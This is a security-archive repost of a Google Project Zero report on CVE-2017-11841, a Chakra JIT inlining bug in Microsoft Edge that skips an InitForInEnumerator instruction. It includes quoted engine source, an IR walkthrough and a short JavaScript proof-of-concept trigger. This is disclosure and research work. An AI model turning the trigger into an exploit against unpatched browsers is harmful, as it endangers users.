exploit the possibilities

Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared Failed Return

Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared Failed Return
Posted Nov 25, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared does not return the return instruction.

tags | exploit
advisories | CVE-2017-11841
MD5 | a4510584c0f734fd5474e401bf490892

Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared Failed Return

Change Mirror Download
Microsoft Edge: Chakra: JIT: Inline::InlineCallApplyTarget_Shared doesn't return the return instruction 

CVE-2017-11841


Here's a snippet of Inline::Optimize.
FOREACH_INSTR_EDITING(instr, instrNext, func->m_headInstr)
{
switch (instr->m_opcode)
{
case Js::OpCode::Label:
{
...
if (instr->AsLabelInstr()->m_isForInExit)
{
Assert(this->currentForInDepth != 0); // The PoC hits this
this->currentForInDepth--;
}
}
break;
case Js::OpCode::InitForInEnumerator:
if (!func->IsLoopBody())
{
this->currentForInDepth++;
}
break;
case Js::OpCode::CallI:
...
instrNext = builtInInlineCandidateOpCode != 0 ?
this->InlineBuiltInFunction(instr, inlineeData, builtInInlineCandidateOpCode, inlinerData, symThis, &isInlined, profileId, recursiveInlineDepth) :
this->InlineScriptFunction(instr, inlineeData, symThis, profileId, &isInlined, recursiveInlineDepth);
...
}
}


"InlineBuiltInFunction" and "InlineScriptFunction" are used to inline a JavaScript function. For example, those methods can convert a call expression as follws.

Before:
s6.var = StartCall 1 (0x1).i32 #0000
arg1(s7)<0>.var = ArgOut_A s2.var, s6.var #0003
CallI s3.var, arg1(s7)<0>.var #0006

s0.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #000c <<--- NEXT INSTRUCTION

After:
s6.var = StartCall 1 (0x1).i32 #0000
...
s12.var = InlineeStart s3.var, iarg1(s7)<24>.var #0006 Func # (#1.3), #4 obj.inlinee
s9[Object].var = Ld_A 0xXXXXXXXX (GlobalObject)[Object].var # Func # (#1.3), #4
s8.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #0000 Func # (#1.3), #4
StatementBoundary #0 #0002 Func # (#1.3), #4
StatementBoundary #-1 #0002 Func # (#1.3), #4
InlineeEnd 4 (0x4).i32, s12.var #0000 Func # (#1.3), #4

StatementBoundary #0 #000c
s0.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #000c <<---- NEXT INSTRUCTION

As you can see the inlinee is wrapped in InlineeStart and InlineeEnd. So to handle the orignal next instructions in the next iterations, those methods must return the call instruction's next instruction. But there's a buggy call flow.

Here's the call flow.
Inline::InlineBuiltInFunction(...) {
...
if (inlineCallOpCode == Js::OpCode::InlineFunctionCall)
{
inlineBuiltInEndInstr = InlineCall(callInstr, inlineeData, inlinerData, symCallerThis, pIsInlined, profileId, recursiveInlineDepth);
return inlineBuiltInEndInstr->m_next;
}
...
}

-> InlineCall -> InlineCallTarget ->

Inline::InlineCallApplyTarget_Shared(...) {
IR::Instr* instrNext = callInstr->m_next;
return InlineFunctionCommon(callInstr, originalCallTargetOpndIsJITOpt, originalCallTargetStackSym, inlineeData, inlinee, instrNext, returnValueOpnd, callInstr, nullptr, recursiveInlineDepth, safeThis, isApplyTarget);
}

Inline::InlineFunctionCommon(...)
{
...
return instrNext;
}

The point is that it ends up returning "callInstr->m_next->m_next". Therefore, "callInstr->m_next" will be never processed.

In the PoC, "InitForInEnumerator" will be skipped.

s16[LikelyUndefined_CanBeTaggedValue].var = CallI s6.var, arg2(s15)<8>.var #0015 << will be inlined
InitForInEnumerator s16.var, s17.u64 #001f << Skipped


PoC:
function opt(obj) {
for (let i in obj.inlinee.call({})) {
}

for (let i in obj.inlinee.call({})) {
}
}

function main() {
let obj = {
inlinee: function () {
}
};

for (let i = 0; i < 10000; i++)
opt(obj);
}

main();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    32 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    10 Files
  • 17
    Feb 17th
    2 Files
  • 18
    Feb 18th
    27 Files
  • 19
    Feb 19th
    32 Files
  • 20
    Feb 20th
    15 Files
  • 21
    Feb 21st
    17 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close